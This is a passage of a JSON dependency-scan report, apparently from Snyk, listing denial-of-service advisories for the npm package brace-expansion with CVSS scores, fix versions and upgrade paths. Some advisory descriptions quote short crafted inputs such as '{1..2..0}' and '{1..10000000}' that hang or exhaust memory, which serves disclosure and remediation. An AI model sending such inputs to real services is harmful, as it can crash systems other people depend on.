"2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ 